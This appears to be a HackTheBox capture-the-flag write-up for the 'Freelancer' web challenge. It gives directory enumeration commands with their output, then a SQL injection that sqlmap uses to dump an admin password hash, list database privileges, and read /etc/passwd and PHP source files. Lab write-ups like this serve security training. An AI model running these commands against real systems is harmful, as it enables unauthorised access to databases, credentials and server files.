

HackTheBox – Freelancer Write Up

Tools:

- Gobuster (Kali Linux)
- Dirb (Kali Linux)
- Sqlmap (Kali Linux)

Walkthrough:

Step	Description
1	<p>The first step taken was to enumerate the website (http://docker.hackthebox.eu:30961) with Gobuster and Dirb.</p> <p>Gobuster was used with the following command “gobuster dir -w /root/Downloads/m.txt -u http://docker.hackthebox.eu:30961”.</p> <p>Results of Gobuster are shown below:</p> <pre>===== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) ===== [+] Url: http://docker.hackthebox.eu:30961 [+] Threads: 10 [+] Wordlist: /root/Downloads/m.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s ===== 2020/02/09 20:21:51 Starting gobuster ===== /img (Status: 301) /mail (Status: 301) /css (Status: 301) /js (Status: 301) /vendor (Status: 301) /server-status (Status: 403)</pre>

	<p>Dirb was used with the following command “dirb http://docker.hackthebox.eu:30961”.</p> <p>Results of Dirb are shown below:</p> <pre> ----- DIRB v2.22 By The Dark Raver ----- START_TIME: Sun Feb 9 21:32:39 2020 URL_BASE: http://docker.hackthebox.eu:30961/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----- GENERATED WORDS: 4612 ---- Scanning URL: http://docker.hackthebox.eu:30961/ ---- ==> DIRECTORY: http://docker.hackthebox.eu:30961/administrat/ ==> DIRECTORY: http://docker.hackthebox.eu:30961/css/ + http://docker.hackthebox.eu:30961/favicon.ico (CODE:200 SIZE:32038) ==> DIRECTORY: http://docker.hackthebox.eu:30961/img/ + http://docker.hackthebox.eu:30961/index.php (CODE:200 SIZE:9541) ==> DIRECTORY: http://docker.hackthebox.eu:30961/js/ ==> DIRECTORY: http://docker.hackthebox.eu:30961/mail/ </pre> <p>The /administrat directory lead to a login page, but SQL injection was not possible.</p>
2	<p>A clue was found at the main page of “http://docker.hackthebox.eu:30961” by inspecting the source of the page.</p> <p>Mozilla Firefox – Right click at the page and select “Inspect Element (Q)”</p> <p>The discovered clue was:</p> <pre>Portfolio 1</pre> <p>The reason is because the line was commented out and the link leads to “portfolio.php”</p>
3	<p>Upon visiting “http://docker.hackthebox.eu:30961/portfolio.php”, the site only displayed an image and a lorem ipsum paragraph. The url link was modified with adding a “ ‘ “ to test if SQL injection was possible. The result of the SQL injection led to the website not displaying the paragraph text.</p>
4	<p>The sqlmap tool was used to perform further SQL injection attacks to the website.</p> <p>The sqlmap was used with the following command “sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --dump”</p> <p>The results of sqlmap are:</p> <pre> [21:03:16] [INFO] fetching columns for table 'safeadmin' in database 'freelancer' [21:03:17] [INFO] fetching entries for table 'safeadmin' in database 'freelancer' </pre>

	<pre>Database: freelancer Table: safeadmin [1 entry] +---+-----+-----+-----+ id password username created_at +---+-----+-----+-----+ 1 \$2y\$10\$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K safeadm 2019-07-16 20:25:45 +---+-----+-----+-----+</pre> <p>The encrypted password (\$2y\$10\$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K) and user (safeadm). However the password could not be decrypted and this led to finding another alternative to this challenge.</p>
5	<p>After discovering the login info, the next step was to fetch the privileges in order to view what privileges were granted.</p> <p>Sqlmap was used with the following command “sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --privileges”.</p> <p>The results of sqlmap are:</p> <pre>[21:10:14] [INFO] fetching database users privileges database management system users privileges: [*] 'db_user'@'%' (administrator) [28]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TABLESPACE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT</pre>

	<pre> privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE [*] 'root'@'localhost' (administrator) [28]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TABLESPACE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE </pre> <p>With FILE privileges granted, this shows that we have access to local files.</p>
6	<p>The first file to be fetched was “passwd” file.</p> <p>Sqlmap was used with the following command “sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/etc/passwd”. The file was dump into the output folder (directory of sqlmap dump).</p> <p>The contents of /etc/passwd is shown below:</p>

	<pre> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin mysql:x:101:102:MySQL Server,,,:/nonexistent:/bin/false </pre> <p>It can be gathered that root is the only user in the machine.</p>
7	<p>The next file extracted was http://docker.hackthebox.eu:30961/administrat/index.php to view the contents of the php file.</p> <p>Sqlmap was used with the following command “</p> <pre> sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/var/www/html/administrat/index.php”. </pre> <p>The contents of the php file revealed that upon the user will be redirected to “panel.php” after a successful login.</p> <pre> <?php // Initialize the session session_start(); // Check if the user is already logged in, if yes then redirect him to welcome page if(isset(\$_SESSION["loggedin"]) && \$_SESSION["loggedin"] === true){ header("location: panel.php"); exit; } </pre>

8	<p>The “panel.php” file was fetched after discovering the user is redirected to view that page.</p> <p>Sqlmap was used with the following command “sqlmap -u http://docker.hackthebox.eu:30961/portfolio.php?id=1 --file-read=/var/www/html/administrat/panel.php”</p> <p>The flag is found within the contents of “panel.php”</p> <pre><h1>Hi, <?php echo htmlspecialchars(\$_SESSION["username"]); ?>. Welcome to our site.</h1>Logout

 <h1>HTB{Please find the flag yourself ☺}</h1> </div> </body> </html></pre>
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Flag is HTB{Please find the flag yourself ☺}